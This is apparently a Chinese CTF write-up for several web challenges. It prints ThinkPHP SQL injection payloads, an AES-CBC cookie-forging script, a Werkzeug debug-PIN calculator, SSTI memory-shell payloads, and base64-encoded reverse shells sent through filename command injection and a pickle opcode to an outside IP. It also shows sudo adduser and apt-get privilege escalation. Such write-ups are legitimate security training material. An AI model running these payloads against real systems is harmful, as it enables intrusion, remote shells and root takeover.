做了一题没在做了。。。有空再复现吧
Web Please_RCE_Me
ez_tp 话说这个题当时被非预期了(日志里就有payloadhhh,但是我下的附件里没有…去复现一手
readme文档里发现是thinkphp3.2.3
了解到thinkphp3.2.3存在sql注入漏洞
找一下初始页面在哪ez_tp/App/Home/Controller/IndexController.class.php
过滤了一大串,但是没建union呢
看样子要触发h_n这个函数,可是怎么触发呢
首先这是个公共函数存在外部调用ControllerName
是 Index
,ActionName
是 h_n
。因此,触发 h_n
函数的基本 URL 是 index.php/Home/Index/h_n
。get传入一个name可以触发h_n
前面还有一部分代码利用循环来检测黑名单,设置waf
既然是对name传参,那么我们从处理name的方法I开始
convention.php里可以看到filter是htmlspecialchars()
,
先经过htmlspecialchars()
的处理,此函数默认是不转义单引号的,之后再回调think_filter
函数进行过滤
跟踪一下这个函数,是黑名单过滤,看都过滤了哪些字符
过滤了EXP字符串,并会在后面拼接一个空格,这个点会影响exp注入,到后面便能了解了,跟进where
函数中
只有最后的代码对传入的参数发挥了作用,其作用便是把数组$User->field('username,age')
传给where(array('username'=>$name)
,继续跟进到find
函数,一直到parseWhere()
函数,观察到这一步和上面的where注入有哪些区别
传入的参数会进入到parseWhereItem()
函数中,而where注入的是当作字符串直接跳过了这一段代码,先判断该变量是否为数组,再判断索引为0的值是否为字符串,到下面的代码还要验证该索引值是否等于exp
关键点在于下面的代码:
又满足了elseif
语句(跟到这里便也能理解为什么要用超全局数组,而不用I函数了,如果使用I函数不满足条件,便会异常抛出,从而影响注入),把where
条件直接用点拼接,这时传入
1 username[0]=exp&username[1]==1 and test
便会造成SQL注入,最终拼接出来的语句便是
1 ='test123' union select 1,flag from flag
filepin 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from flask import Flask, request, abort from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad from flask import Flask, request, Response from base64 import b64encode, b64decode import json default_session = '{"admin": 0, "username": "user1"}' key = get_random_bytes(AES.block_size) def encrypt(session): iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size))) def decrypt(session): raw = b64decode(session) cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size]) try: res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8') return res except Exception as e: print(e) app = Flask(__name__) filename_blacklist = { 'self', 'cgroup', 'mountinfo', 'env', 'flag' } @app.route("/") def index(): session = request.cookies.get('session') if session is None: res = Response( "welcome to the FlipPIN server try request /hint to get the hint") res.set_cookie('session', encrypt(default_session).decode()) return res else: return 'have a fun' @app.route("/hint") def hint(): res = Response(open(__file__).read(), mimetype='text/plain') return res @app.route("/read") def file(): session = request.cookies.get('session') if session is None: res = Response("you are not logged in") res.set_cookie('session', encrypt(default_session)) return res else: plain_session = decrypt(session) if plain_session is None: return 'don\'t hack me' session_data = json.loads(plain_session) if session_data['admin'] : filename = request.args.get('filename') if any(blacklist_str in filename for blacklist_str in filename_blacklist): abort(403, description='Access to this file is forbidden.') try: with open(filename, 'r') as f: return f.read() except FileNotFoundError: abort(404, description='File not found.') except Exception as e: abort(500, description=f'An error occurred: {str(e)}') else: return 'You are not an administrator' if __name__ == "__main__": app.run(host="0.0.0.0", port=9091, debug=True)
看源码是要伪造session了,加密方式还涉及AES
https://blog.csdn.net/V1040375575/article/details/111773524
真的我看了半天,我真看不到AES-CBC。。。(呜呜呜
套了师傅的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests from base64 import b64decode, b64encode url = "http://hnctf.imxbt.cn:40069/" default_session = '{"admin": 0, "username": "user1"}' res = requests.get(url) c = bytearray(b64decode(res.cookies["session"])) c[default_session.index("0")] ^= 1 print() evil = b64encode(c).decode() print(evil) res = requests.get(url+f"read?filename=/proc/sys/kernel/random/boot_id", cookies={"session": evil}) print(res.text)
这里中途读取的时候最后算pin老是不对,后面去仔细看了看pin码的计算
pin码生成条件?
pin码有六个要素:
username 在可以任意文件读的条件下读 /etc/passwd进行猜测
modname 一般是flask.app
getattr(app, "__name__", app.__class__.__name__) 一般是Flask
moddir flask库下app.py的绝对路径 可以通过报错获取
int(uuid,16) 即 当前网络的mac地址的十进制数
get_machine_id() 机器的id
六个元素 其中 uuid和 machine_id() 相比其他四个 是可能有变化的
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:02:42:ac:02:f6:34 -> 342485376972340
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来
对于非docker机,每台机器都有它唯一的machine-id,一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id
对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
非docker机,三个文件都需要读取
docker机 machine-id= /proc/sys/kernel/random/boot_id + /proc/self/cgroup里/docker/字符串后面的内容
读取相关文件绕过过滤
过滤了self的时候怎么读 machine-id
其中的self可以用相关进程的pid去替换,其实1就行
过滤 cgroup
用mountinfo或者cpuset
读取相关文件绕过过滤
过滤了
的时候怎么读 machine-id
其中的self
可以用相关进程的pid去替换,其实1
就行
过滤
最后根目录的flag里啥也没有,需要env
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import hashlib from itertools import chain probably_public_bits = [ 'ctfUser' # username 可通过/etc/passwd获取 'flask.app', # modname默认值 'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None) ] private_bits = [ '2485377892362', # /sys/class/net/eth0/address mac地址十进制 '9fd11036-6c2e-41c7-bb26-7d358f670070a0289b3a10a4ff35ea2324200f1e5483b124d7f4009064a55655776d212a9073' #8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-c9369616ee81b3458484006c2a9832ee967e4d2ef360297949d7f251620749e3.scope #8cab9c97-85be-4fb4-9d17-29335d7b2b8a # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup/proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取 #这题用的是/proc/sys/kernel/random/boot_id+/proc/1/cpuset ] # 下面为源码里面抄的,不需要修改 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) print(cookie_name) print(num)
ezFlask 看到只有一次机会,什么内存马
1 2 3 cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}") {{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}
最后在shell路由执行cmd命令
Gojava robots.txt存在信息泄露
访问/main-old.zip获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package main import ( "io" "log" "mime/multipart" "net/http" "os" "strings" ) var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'} func main() { // 设置路由 http.HandleFunc("/gojava", compileJava) // 设置静态文件服务器 fs := http.FileServer(http.Dir(".")) http.Handle("/", fs) // 启动服务器 log.Println("Server started on :80") log.Fatal(http.ListenAndServe(":80", nil)) } func isFilenameBlacklisted(filename string) bool { for _, char := range filename { for _, blackChar := range blacklistChars { if char == blackChar { return true } } } return false } func compileJava(w http.ResponseWriter, r *http.Request) { // 检查请求方法是否为POST if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } // 解析multipart/form-data格式的表单数据 err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB if err != nil { http.Error(w, "Error parsing form", http.StatusInternalServerError) return } // 从表单中获取上传的文件 file, handler, err := r.FormFile("file") if err != nil { http.Error(w, "Error retrieving file", http.StatusBadRequest) return } defer file.Close() if isFilenameBlacklisted(handler.Filename) { http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest) return } if !strings.HasSuffix(handler.Filename, ".java") { http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest) return } err = saveFile(file, "./upload/"+handler.Filename) if err != nil { http.Error(w, "Error saving file", http.StatusInternalServerError) return } } func saveFile(file multipart.File, filePath string) error { // 创建目标文件 f, err := os.Create(filePath) if err != nil { return err } defer f.Close() // 将上传的文件内容复制到目标文件中 _, err = io.Copy(f, file) if err != nil { return err } return nil }
题目是对java文件进行编译操作,就是系统命令执行javac拼接文件名
1 "1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMSI= | base64 -d | bash;1.java"
反弹shell
提权
cat /memorandum得到rootmima
sudo su
cd /root
cat flAg
GPTS 最近新出的cve
https://xz.aliyun.com/t/14283?time__1311=mqmx9QiQKDqGqx05dIDymDcmrovhG2bD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DqSno1OmP9d2CmUVNF6dWlj3IPjQSJnN9EOdDQoHSahQwxVadWoNWhlQH3ZbKBhJV%26wd%3D%26eqid%3D965c761d00710cf200000006664181f0
先随便自定义一个功能区
会生成一个cookie,后面点击加载
1 2 3 4 5 6 7 8 9 10 import base64 opcode = b'''cos system (S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAxLjM0LjgwLjE1MiIsOTk5OSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiYmFzaCIpJw==}|{base64,-d}|{bash,-i}"' tR.''' opcode = base64.b64encode(opcode).decode("utf-8") print("--------------------1----------------") print(opcode)
查找由用户 ctfgame
拥有并且对其可读的所有文件
1 find / -type f -user ctfgame -readable 2>/dev/null
查看/var/mail/ctfgame,读邮件中的敏感信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 From root, To ctfgame (ctfer) , You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked. This is the last chance, please take care of your security, I helped you reset your account password. ctfer : KbsrZrSCVeui#+R 从根, 到 ctfgame(ctfer), 你知道我给你权限是为了让你更容易建立你的网站,但现在你的用户已经被黑客入侵了。 这是最后的机会,请您注意安全,我帮您重置了帐户密码。 ctfer : KbsrZrSCVeui#+R
切换到ctfer登录
没权限看/etc/sudoers ,用sudo -l
这表明ctfer在7d8f46522c73主机上上具有以 root
用户身份执行 /usr/sbin/adduser
命令的特权,而且无需输入密码,但被限制不能以 sudo
用户或 admin
用户身份执行该命令。
添加一个新用户
1 sudo adduser test -gid=0
看到了kobe
可以apt-get提权
现在我们要以kobe身份登录
先切回ctfer,sudo adduser kobe创建一个kobe用户
再以kobe身份登录,apt-get提权
1 sudo apt-get update -o APT : :Update : :Pre-Invoke : : ="/bin/bash -i"